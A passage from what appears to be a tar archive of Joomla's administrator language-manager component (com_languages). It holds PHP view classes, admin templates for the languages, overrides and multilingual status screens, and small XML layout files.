			<tr class="warning">
				<td>
					<span class="icon-pending" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('WARNING'); ?></span>
				</td>
				<td>
					<?php echo JText::_('COM_LANGUAGES_MULTILANGSTATUS_LANGUAGEFILTER_DISABLED'); ?>
				</td>
			</tr>
		<?php endif; ?>
		<?php if ($notice_switchers) : ?>
			<tr class="warning">
				<td>
					<span class="icon-pending" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('WARNING'); ?></span>
				</td>
				<td>
					<?php echo JText::_('COM_LANGUAGES_MULTILANGSTATUS_LANGSWITCHER_UNPUBLISHED'); ?>
				</td>
			</tr>
		<?php endif; ?>
		<?php foreach ($this->contentlangs as $contentlang) : ?>
			<?php if (array_key_exists($contentlang->lang_code, $this->homepages) && (!array_key_exists($contentlang->lang_code, $this->site_langs) || !$contentlang->published)) : ?>
				<tr class="warning">
					<td>
						<span class="icon-pending" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('WARNING'); ?></span>
					</td>
					<td>
						<?php echo JText::sprintf('COM_LANGUAGES_MULTILANGSTATUS_ERROR_CONTENT_LANGUAGE', $contentlang->lang_code); ?>
					</td>
				</tr>
			<?php endif; ?>
			<?php if (!array_key_exists($contentlang->lang_code, $this->site_langs)) : ?>
				<tr class="warning">
					<td>
						<span class="icon-pending" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('WARNING'); ?></span>
					</td>
					<td>
						<?php echo JText::sprintf('COM_LANGUAGES_MULTILANGSTATUS_ERROR_LANGUAGE_TAG', $contentlang->lang_code); ?>
					</td>
				</tr>
			<?php endif; ?>
			<?php if ($contentlang->published == -2) : ?>
				<tr class="warning">
					<td>
						<span class="icon-pending" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('WARNING'); ?></span>
					</td>
					<td>
						<?php echo JText::sprintf('COM_LANGUAGES_MULTILANGSTATUS_ERROR_CONTENT_LANGUAGE_TRASHED', $contentlang->lang_code); ?>
					</td>
				</tr>
			<?php endif; ?>
		<?php endforeach; ?>
		<?php if ($this->listUsersError) : ?>
			<tr class="warning">
				<td>
					<span class="icon-pending" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('WARNING'); ?></span>
				</td>
				<td>
					<?php echo JText::_('COM_LANGUAGES_MULTILANGSTATUS_CONTACTS_ERROR_TIP'); ?>
					<ul>
					<?php foreach ($this->listUsersError as $user) : ?>
						<li>
						<?php echo JText::sprintf('COM_LANGUAGES_MULTILANGSTATUS_CONTACTS_ERROR', $user->name); ?>
						</li>
					<?php endforeach; ?>
					</ul>
				</td>
			</tr>
		<?php endif; ?>
		</tbody>
	</table>
	<table class="table table-striped table-condensed" style="border-top: 1px solid #CCCCCC;">
		<thead>
			<tr>
				<th>
					<?php echo JText::_('JDETAILS'); ?>
				</th>
				<th class="center">
					<?php echo JText::_('JSTATUS'); ?>
				</th>
			</tr>
		</thead>
		<tbody>
			<tr>
				<th scope="row">
					<?php echo JText::_('COM_LANGUAGES_MULTILANGSTATUS_LANGUAGEFILTER'); ?>
				</th>
				<td class="center">
					<?php if ($this->language_filter) : ?>
						<?php echo JText::_('JENABLED'); ?>
					<?php else : ?>
						<?php echo JText::_('JDISABLED'); ?>
					<?php endif; ?>
				</td>
			</tr>

			<tr>
				<th scope="row">
					<?php echo JText::_('COM_LANGUAGES_MULTILANGSTATUS_LANGSWITCHER_PUBLISHED'); ?>
				</th>
				<td class="center">
					<?php if ($this->switchers != 0) : ?>
						<?php echo $this->switchers; ?>
					<?php else : ?>
						<?php echo JText::_('JNONE'); ?>
					<?php endif; ?>
				</td>
			</tr>
			<tr>
				<th scope="row">
					<?php if ($this->homes > 1) : ?>
						<?php echo JText::_('COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED_INCLUDING_ALL'); ?>
					<?php else : ?>
						<?php echo JText::_('COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED'); ?>
					<?php endif; ?>
				</th>
				<td class="center">
					<?php if ($this->homes > 1) : ?>
						<?php echo $this->homes; ?>
					<?php else : ?>
						<?php echo JText::_('COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED_ALL'); ?>
					<?php endif; ?>
				</td>
			</tr>
		</tbody>
	</table>
	<table class="table table-striped table-condensed" style="border-top: 1px solid #CCCCCC;">
		<thead>
			<tr>
				<th>
					<?php echo JText::_('JGRID_HEADING_LANGUAGE'); ?>
				</th>
				<th class="center">
					<?php echo JText::_('COM_LANGUAGES_MULTILANGSTATUS_SITE_LANG_PUBLISHED'); ?>
				</th>
				<th class="center">
					<?php echo JText::_('COM_LANGUAGES_MULTILANGSTATUS_CONTENT_LANGUAGE_PUBLISHED'); ?>
				</th>
				<th class="center">
					<?php echo JText::_('COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED'); ?>
				</th>
			</tr>
		</thead>
		<tbody>
			<?php foreach ($this->statuses as $status) : ?>
				<?php if ($status->element) : ?>
					<tr>
						<td>
							<?php echo $status->element; ?>
						</td>
				<?php endif; ?>
				<?php // Published Site languages ?>
				<?php if ($status->element) : ?>
						<td class="center">
							<span class="icon-ok" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('JYES'); ?></span>
						</td>
				<?php else : ?>
						<td class="center">
							<?php echo JText::_('JNO'); ?>
						</td>
				<?php endif; ?>
				<?php // Published Content languages ?>
				<?php if ($status->lang_code && $status->published == 1) : ?>
						<td class="center">
							<span class="icon-ok" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('JYES'); ?></span>
						</td>
				<?php elseif ($status->lang_code && $status->published == 0) : ?>
						<td class="center">
							<span class="icon-pending" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('WARNING'); ?></span>
						</td>
				<?php elseif ($status->lang_code && $status->published == -2) : ?>
						<td class="center">
							<span class="icon-trash" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('WARNING'); ?></span>
						</td>
				<?php else : ?>
						<td class="center">
							<span class="icon-pending" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('WARNING'); ?></span>
						</td>
				<?php endif; ?>
				<?php // Published Home pages ?>
				<?php if ($status->home_language) : ?>
						<td class="center">
							<span class="icon-ok" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('JYES'); ?></span>
						</td>
				<?php else : ?>
						<td class="center">
							<span class="icon-not-ok" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('JNO'); ?></span>
						</td>
				<?php endif; ?>
				</tr>
			<?php endforeach; ?>
			<?php foreach ($this->contentlangs as $contentlang) : ?>
				<?php if (!array_key_exists($contentlang->lang_code, $this->site_langs)) : ?>
					<tr>
						<td>
							<?php echo $contentlang->lang_code; ?>
						</td>
						<td class="center">
							<span class="icon-pending" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('WARNING'); ?></span>
						</td>
						<td class="center">
							<?php if ($contentlang->published) : ?>
								<span class="icon-ok" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('JYES'); ?></span>
							<?php elseif (!$contentlang->published && array_key_exists($contentlang->lang_code, $this->homepages)) : ?>
								<span class="icon-not-ok" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('JNO'); ?></span>
							<?php elseif (!$contentlang->published) : ?>
								<span class="icon-pending" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('WARNING'); ?></span>
							<?php endif; ?>
						</td>
						<td class="center">
							<?php if (!array_key_exists($contentlang->lang_code, $this->homepages)) : ?>
								<span class="icon-pending" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('WARNING'); ?></span>
							<?php else : ?>
								<span class="icon-ok" aria-hidden="true"></span><span class="element-invisible"><?php echo JText::_('JYES'); ?></span>
							<?php endif; ?>
						</td>
					</tr>
				<?php endif; ?>
			<?php endforeach; ?>
		</tbody>
	</table>
	<?php endif; ?>
</div>
com_languages/views/languages/tmpl/default.php000060400000015010152455305310015560 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('bootstrap.tooltip');

$user      = JFactory::getUser();
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));
$saveOrder = $listOrder == 'a.ordering';

if ($saveOrder)
{
	$saveOrderingUrl = 'index.php?option=com_languages&task=languages.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable', 'contentList', 'adminForm', strtolower($listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo JRoute::_('index.php?option=com_languages&view=languages'); ?>" method="post" name="adminForm" id="adminForm">
<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<div class="clearfix"></div>
		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped" id="contentList">
				<thead>
					<tr>
						<th width="1%" class="nowrap center hidden-phone">
							<?php echo JHtml::_('searchtools.sort', '', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING', 'icon-menu-2'); ?>
						</th>
						<th width="1%"  class="nowrap center">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th width="1%" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.published', $listDirn, $listOrder); ?>
						</th>
						<th class="title nowrap">
							<?php echo JHtml::_('searchtools.sort', 'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
						</th>
						<th class="title nowrap hidden-phone hidden-tablet">
							<?php echo JHtml::_('searchtools.sort', 'COM_LANGUAGES_HEADING_TITLE_NATIVE', 'a.title_native', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_LANGUAGES_HEADING_LANG_TAG', 'a.lang_code', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_LANGUAGES_HEADING_LANG_CODE', 'a.sef', $listDirn, $listOrder); ?>
						</th>
						<th width="8%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_LANGUAGES_HEADING_LANG_IMAGE', 'a.image', $listDirn, $listOrder); ?>
						</th>
						<th width="5%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ACCESS', 'a.access', $listDirn, $listOrder); ?>
						</th>
						<th width="5%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_LANGUAGES_HEADING_HOMEPAGE', 'l.home', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone hidden-tablet">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.lang_id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="11">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
				<?php
				foreach ($this->items as $i => $item) :
					$canCreate = $user->authorise('core.create',     'com_languages');
					$canEdit   = $user->authorise('core.edit',       'com_languages');
					$canChange = $user->authorise('core.edit.state', 'com_languages');
				?>
					<tr class="row<?php echo $i % 2; ?>">
						<td class="order nowrap center hidden-phone">
							<?php if ($canChange) :
								$disableClassName = '';
								$disabledLabel	  = '';

								if (!$saveOrder) :
									$disabledLabel    = JText::_('JORDERINGDISABLED');
									$disableClassName = 'inactive tip-top';
								endif; ?>
								<span class="sortable-handler hasTooltip <?php echo $disableClassName; ?>" title="<?php echo $disabledLabel; ?>">
									<span class="icon-menu" aria-hidden="true"></span>
								</span>
								<input type="text" style="display:none" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order" />
							<?php else : ?>
								<span class="sortable-handler inactive">
									<span class="icon-menu" aria-hidden="true"></span>
								</span>
							<?php endif; ?>
						</td>
						<td>
							<?php echo JHtml::_('grid.id', $i, $item->lang_id); ?>
						</td>
						<td class="center">
							<?php echo JHtml::_('jgrid.published', $item->published, $i, 'languages.', $canChange); ?>
						</td>
						<td>
							<span class="editlinktip hasTooltip" title="<?php echo JHtml::_('tooltipText', JText::_('JGLOBAL_EDIT_ITEM'), $item->title, 0); ?>">
							<?php if ($canEdit) : ?>
								<a href="<?php echo JRoute::_('index.php?option=com_languages&task=language.edit&lang_id=' . (int) $item->lang_id); ?>"><?php echo $this->escape($item->title); ?></a>
							<?php else : ?>
								<?php echo $this->escape($item->title); ?>
							<?php endif; ?>
							</span>
						</td>
						<td class="hidden-phone hidden-tablet">
							<?php echo $this->escape($item->title_native); ?>
						</td>
						<td>
							<?php echo $this->escape($item->lang_code); ?>
						</td>
						<td>
							<?php echo $this->escape($item->sef); ?>
						</td>
						<td class="hidden-phone">
							<?php if ($item->image) : ?>
								<?php echo JHtml::_('image', 'mod_languages/' . $item->image . '.gif', $item->image, null, true); ?>&nbsp;<?php echo $this->escape($item->image); ?>
							<?php else : ?>
								<?php echo JText::_('JNONE'); ?>
							<?php endif; ?>
						</td>
						<td class="hidden-phone">
							<?php echo $this->escape($item->access_level); ?>
						</td>
						<td class="hidden-phone">
							<?php echo ($item->home == '1') ? JText::_('JYES') : JText::_('JNO'); ?>
						</td>
						<td class="hidden-phone hidden-tablet">
							<?php echo $this->escape($item->lang_id); ?>
						</td>
					</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_languages/views/languages/tmpl/default.xml000060400000000330152455305310015570 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_LANGUAGES_LANGUAGES_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_LANGUAGES_LANGUAGES_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_languages/views/languages/view.html.php000060400000006731152455305310015107 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML Languages View class for the Languages component.
 *
 * @since  1.6
 */
class LanguagesViewLanguages extends JViewLegacy
{
	protected $items;

	protected $pagination;

	protected $state;

	/**
	 * Display the view.
	 *
	 * @param   string  $tpl  The name of the template file to parse.
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		LanguagesHelper::addSubmenu('languages');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();
		$this->sidebar = JHtmlSidebar::render();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$canDo = JHelperContent::getActions('com_languages');

		JToolbarHelper::title(JText::_('COM_LANGUAGES_VIEW_LANGUAGES_TITLE'), 'comments-2 langmanager');

		if ($canDo->get('core.create'))
		{
			JToolbarHelper::addNew('language.add');
		}

		if ($canDo->get('core.edit'))
		{
			JToolbarHelper::editList('language.edit');
			JToolbarHelper::divider();
		}

		if ($canDo->get('core.edit.state'))
		{
			if ($this->state->get('filter.published') != 2)
			{
				JToolbarHelper::publishList('languages.publish');
				JToolbarHelper::unpublishList('languages.unpublish');
			}
		}

		if ($this->state->get('filter.published') == -2 && $canDo->get('core.delete'))
		{
			JToolbarHelper::deleteList('JGLOBAL_CONFIRM_DELETE', 'languages.delete', 'JTOOLBAR_EMPTY_TRASH');
			JToolbarHelper::divider();
		}
		elseif ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::trash('languages.trash');
			JToolbarHelper::divider();
		}

		if ($canDo->get('core.admin'))
		{
			// Add install languages link to the lang installer component.
			$bar = JToolbar::getInstance('toolbar');
			$bar->appendButton('Link', 'upload', 'COM_LANGUAGES_INSTALL', 'index.php?option=com_installer&view=languages');
			JToolbarHelper::divider();

			JToolbarHelper::preferences('com_languages');
			JToolbarHelper::divider();
		}

		JToolbarHelper::help('JHELP_EXTENSIONS_LANGUAGE_MANAGER_CONTENT');

		JHtmlSidebar::setAction('index.php?option=com_languages&view=languages');

	}

	/**
	 * Returns an array of fields the table can be sorted by.
	 *
	 * @return  array  Array containing the field name to sort by as the key and display text as value.
	 *
	 * @since   3.0
	 */
	protected function getSortFields()
	{
		return array(
			'a.ordering'     => JText::_('JGRID_HEADING_ORDERING'),
			'a.published'    => JText::_('JSTATUS'),
			'a.title'        => JText::_('JGLOBAL_TITLE'),
			'a.title_native' => JText::_('COM_LANGUAGES_HEADING_TITLE_NATIVE'),
			'a.lang_code'    => JText::_('COM_LANGUAGES_FIELD_LANG_TAG_LABEL'),
			'a.sef'          => JText::_('COM_LANGUAGES_FIELD_LANG_CODE_LABEL'),
			'a.image'        => JText::_('COM_LANGUAGES_HEADING_LANG_IMAGE'),
			'a.access'       => JText::_('JGRID_HEADING_ACCESS'),
			'a.lang_id'      => JText::_('JGRID_HEADING_ID'),
		);
	}
}
com_languages/views/overrides/view.html.php000060400000004775152455305310015151 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View for language overrides list.
 *
 * @since  2.5
 */
class LanguagesViewOverrides extends JViewLegacy
{
	/**
	 * The items to list.
	 *
	 * @var		array
	 * @since	2.5
	 */
	protected $items;

	/**
	 * The pagination object.
	 *
	 * @var		object
	 * @since	2.5
	 */
	protected $pagination;

	/**
	 * The model state.
	 *
	 * @var		object
	 * @since	2.5
	 */
	protected $state;

	/**
	 * Displays the view.
	 *
	 * @param   string  $tpl  The name of the template file to parse.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public function display($tpl = null)
	{
		$this->state         = $this->get('State');
		$this->items         = $this->get('Overrides');
		$this->languages     = $this->get('Languages');
		$this->pagination    = $this->get('Pagination');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		LanguagesHelper::addSubmenu('overrides');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors));
		}

		$this->addToolbar();
		parent::display($tpl);
	}

	/**
	 * Adds the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	protected function addToolbar()
	{
		// Get the results for each action
		$canDo = JHelperContent::getActions('com_languages');

		JToolbarHelper::title(JText::_('COM_LANGUAGES_VIEW_OVERRIDES_TITLE'), 'comments-2 langmanager');

		if ($canDo->get('core.create'))
		{
			JToolbarHelper::addNew('override.add');
		}

		if ($canDo->get('core.edit') && $this->pagination->total)
		{
			JToolbarHelper::editList('override.edit');
		}

		if ($canDo->get('core.delete') && $this->pagination->total)
		{
			JToolbarHelper::deleteList('JGLOBAL_CONFIRM_DELETE', 'overrides.delete', 'JTOOLBAR_DELETE');
		}

		if (JFactory::getUser()->authorise('core.admin'))
		{
			JToolbarHelper::custom('overrides.purge', 'refresh.png', 'refresh_f2.png', 'COM_LANGUAGES_VIEW_OVERRIDES_PURGE', false);
		}

		if ($canDo->get('core.admin'))
		{
			JToolbarHelper::preferences('com_languages');
		}

		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_EXTENSIONS_LANGUAGE_MANAGER_OVERRIDES');

		JHtmlSidebar::setAction('index.php?option=com_languages&view=overrides');

		$this->sidebar = JHtmlSidebar::render();
	}
}
com_languages/views/overrides/tmpl/default.php000060400000007665152455305310015635 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('formbehavior.chosen', 'select');
JHtml::_('bootstrap.tooltip');

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
$client    = $this->state->get('filter.client') == 'site' ? JText::_('JSITE') : JText::_('JADMINISTRATOR');
$language  = $this->state->get('filter.language');
$listOrder = $this->escape($this->state->get('list.ordering'));
$listDirn  = $this->escape($this->state->get('list.direction'));

$oppositeClient   = $this->state->get('filter.client') == 'administrator' ? JText::_('JSITE') : JText::_('JADMINISTRATOR');
$oppositeFileName = constant('JPATH_' . strtoupper($this->state->get('filter.client') === 'site' ? 'administrator' : 'site'))
	. '/language/overrides/' . $this->state->get('filter.language', 'en-GB') . '.override.ini';
$oppositeStrings  = JLanguageHelper::parseIniFile($oppositeFileName);
?>

<form action="<?php echo JRoute::_('index.php?option=com_languages&view=overrides'); ?>" method="post" name="adminForm" id="adminForm">
<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
        <div class="clearfix"></div>
		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped" id="overrideList">
				<thead>
					<tr>
						<th width="1%" class="center">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th width="30%" class="left">
							<?php echo JHtml::_('searchtools.sort', 'COM_LANGUAGES_VIEW_OVERRIDES_KEY', 'key', $listDirn, $listOrder); ?>
						</th>
						<th class="left hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_LANGUAGES_VIEW_OVERRIDES_TEXT', 'text', $listDirn, $listOrder); ?>
						</th>
						<th class="nowrap hidden-phone">
							<?php echo JText::_('COM_LANGUAGES_FIELD_LANG_TAG_LABEL'); ?>
						</th>
						<th class="hidden-phone">
							<?php echo JText::_('JCLIENT'); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="5">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
				<?php $canEdit = JFactory::getUser()->authorise('core.edit', 'com_languages'); ?>
				<?php $i = 0; ?>
				<?php foreach ($this->items as $key => $text) : ?>
					<tr class="row<?php echo $i % 2; ?>" id="overriderrow<?php echo $i; ?>">
						<td class="center">
							<?php echo JHtml::_('grid.id', $i, $key); ?>
						</td>
						<td>
							<?php if ($canEdit) : ?>
								<a id="key[<?php echo $this->escape($key); ?>]" href="<?php echo JRoute::_('index.php?option=com_languages&task=override.edit&id=' . $key); ?>"><?php echo $this->escape($key); ?></a>
							<?php else : ?>
								<?php echo $this->escape($key); ?>
							<?php endif; ?>
						</td>
						<td class="hidden-phone">
							<span id="string[<?php echo $this->escape($key); ?>]"><?php echo $this->escape($text); ?></span>
						</td>
						<td class="hidden-phone">
							<?php echo $language; ?>
						</td>
						<td class="hidden-phone">
							<?php echo $client; ?><?php
							if (isset($oppositeStrings[$key]) && $oppositeStrings[$key] === $text)
							{
								echo '/' . $oppositeClient;
							}
							?>
						</td>
					</tr>
				<?php $i++; ?>
				<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_languages/views/overrides/tmpl/default.xml000060400000000326152455305310015631 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_LANGUAGES_OVERRIDE_VIEW_DEFAULT_TITLE">
		<message>
			<![CDATA[COM_LANGUAGES_OVERRIDE_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_languages/views/language/view.html.php000060400000004064152455305310014721 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * HTML View class for the Languages component.
 *
 * @since  1.5
 */
class LanguagesViewLanguage extends JViewLegacy
{
	public $item;

	public $form;

	public $state;

	/**
	 * Display the view.
	 *
	 * @param   string  $tpl  The name of the template file to parse.
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		$this->item  = $this->get('Item');
		$this->form  = $this->get('Form');
		$this->state = $this->get('State');
		$this->canDo = JHelperContent::getActions('com_languages');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();
		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		JLoader::register('LanguagesHelper', JPATH_ADMINISTRATOR . '/components/com_languages/helpers/languages.php');

		JFactory::getApplication()->input->set('hidemainmenu', 1);
		$isNew = empty($this->item->lang_id);
		$canDo = $this->canDo;

		JToolbarHelper::title(
			JText::_($isNew ? 'COM_LANGUAGES_VIEW_LANGUAGE_EDIT_NEW_TITLE' : 'COM_LANGUAGES_VIEW_LANGUAGE_EDIT_EDIT_TITLE'), 'comments-2 langmanager'
		);

		if (($isNew && $canDo->get('core.create')) || (!$isNew && $canDo->get('core.edit')))
		{
			JToolbarHelper::apply('language.apply');
			JToolbarHelper::save('language.save');
		}

		// If an existing item, can save to a copy only if we have create rights.
		if ($canDo->get('core.create'))
		{
			JToolbarHelper::save2new('language.save2new');
		}

		if ($isNew)
		{
			JToolbarHelper::cancel('language.cancel');
		}
		else
		{
			JToolbarHelper::cancel('language.cancel', 'JTOOLBAR_CLOSE');
		}

		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_EXTENSIONS_LANGUAGE_MANAGER_EDIT');
	}
}
com_languages/views/language/tmpl/edit.php000060400000006047152455305310014710 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_languages
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('behavior.formvalidator');
JHtml::_('formbehavior.chosen', 'select');

JFactory::getDocument()->addScriptDeclaration(
	'
	Joomla.submitbutton = function(task)
	{
		if (task == "language.cancel" || document.formvalidator.isValid(document.getElementById("language-form")))
		{
			Joomla.submitform(task, document.getElementById("language-form"));
		}
	};

	jQuery(document).ready(function() {
		jQuery("#jform_image").on("change", function() {
			var flag = this.value;
			if (flag) {
				jQuery("#flag img").attr("src", "' . JUri::root(true) . '" + "/media/mod_languages/images/" + flag + ".gif").attr("alt", flag);
			}
			else
			{
				jQuery("#flag img").removeAttr("src").removeAttr("alt");
			}
	});
});'
);
?>

<form action="<?php echo JRoute::_('index.php?option=com_languages&view=language&layout=edit&lang_id=' . (int) $this->item->lang_id); ?>" method="post" name="adminForm" id="language-form" class="form-validate form-horizontal">

	<?php echo JLayoutHelper::render('joomla.edit.item_title', $this); ?>

	<fieldset>
	<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'details')); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'details', JText::_('JDETAILS')); ?>
			<?php echo $this->form->renderField('title'); ?>
			<?php echo $this->form->renderField('title_native'); ?>
			<?php echo $this->form->renderField('lang_code'); ?>
			<?php echo $this->form->renderField('sef'); ?>
			<div class="control-group">
					<div class="control-label">
						<?php echo $this->form->getLabel('image'); ?>
					</div>
					<div class="controls">
						<?php echo $this->form->getInput('image'); ?>
						<span id="flag">
							<?php echo JHtml::_('image', 'mod_languages/' . $this->form->getValue('image') . '.gif', $this->form->getValue('image'), null, true); ?>
						</span>
					</div>
			</div>
			<?php if ($this->canDo->get('core.edit.state')) : ?>
				<?php echo $this->form->renderField('published'); ?>
			<?php endif; ?>

			<?php echo $this->form->renderField('access'); ?>
			<?php echo $this->form->renderField('description'); ?>
			<?php echo $this->form->renderField('lang_id'); ?>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'metadata', JText::_('JGLOBAL_FIELDSET_METADATA_OPTIONS')); ?>
		<?php echo $this->form->renderFieldset('metadata'); ?>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'site_name', JText::_('COM_LANGUAGES_FIELDSET_SITE_NAME_LABEL')); ?>
		<?php echo $this->form->renderFieldset('site_name'); ?>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

	<?php echo JHtml::_('bootstrap.endTabSet'); ?>
	</fieldset>
	<input type="hidden" name="task" value="" />
	<?php echo JHtml::_('form.token'); ?>
</form>
